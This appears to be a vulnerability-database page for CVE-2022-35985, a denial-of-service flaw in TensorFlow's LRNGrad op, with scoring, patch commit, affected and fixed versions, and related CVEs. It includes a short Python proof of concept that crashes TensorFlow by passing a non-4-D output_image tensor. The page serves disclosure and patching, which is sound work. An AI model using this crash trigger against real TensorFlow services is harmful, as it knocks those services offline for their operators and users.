CVE-2022-35985Medium· 5.9▾ SunlitTensorFlow vulnerable to `CHECK` fail in `LRNGrad`
▾ Sunlit zone — Low / medium · no exploitation signal
impact 32.5 · likelihood 0.1 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.4%
0.4% → 0.5%
If LRNGrad is given an output_image input tensor that is not 4-D, it results in a CHECK fail that can be used to trigger a denial of service attack.
import tensorflow as tf
depth_radius = 1
bias = 1.59018219
alpha = 0.117728651
beta = 0.404427052
input_grads = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
input_image = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
output_image = tf.random.uniform(shape=[4, 4, 4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
tf.raw_ops.LRNGrad(input_grads=input_grads, input_image=input_image, output_image=output_image, depth_radius=depth_radius, bias=bias, alpha=alpha, beta=beta)
We have patched the issue in GitHub commit bd90b3efab4ec958b228cd7cfe9125be1c0cf255.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
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This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University
tensorflow < 2.7.2tensorflow >= 2.8.0, < 2.8.1tensorflow >= 2.9.0, < 2.9.1tensorflow-cpu < 2.7.2tensorflow-cpu >= 2.8.0, < 2.8.1tensorflow-cpu >= 2.9.0, < 2.9.1tensorflow-gpu < 2.7.2tensorflow-gpu >= 2.8.0, < 2.8.1tensorflow-gpu >= 2.9.0, < 2.9.1Upgrade to a patched release:
tensorflow 2.7.2tensorflow 2.8.1tensorflow 2.9.1tensorflow-cpu 2.7.2tensorflow-cpu 2.8.1tensorflow-cpu 2.9.1tensorflow-gpu 2.7.2tensorflow-gpu 2.8.1tensorflow-gpu 2.9.1Connected by shared product, vendor, weakness, or advisory.
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CVE-2022-35986Medium· 5.9TensorFlow vulnerable to segfault in `RaggedBincount`
CVE-2022-36017Medium· 5.9TensorFlow vulnerable to segfault in `Requantize`
CVE-2022-35993Medium· 5.9TensorFlow vulnerable to `CHECK` fail in `SetSize`
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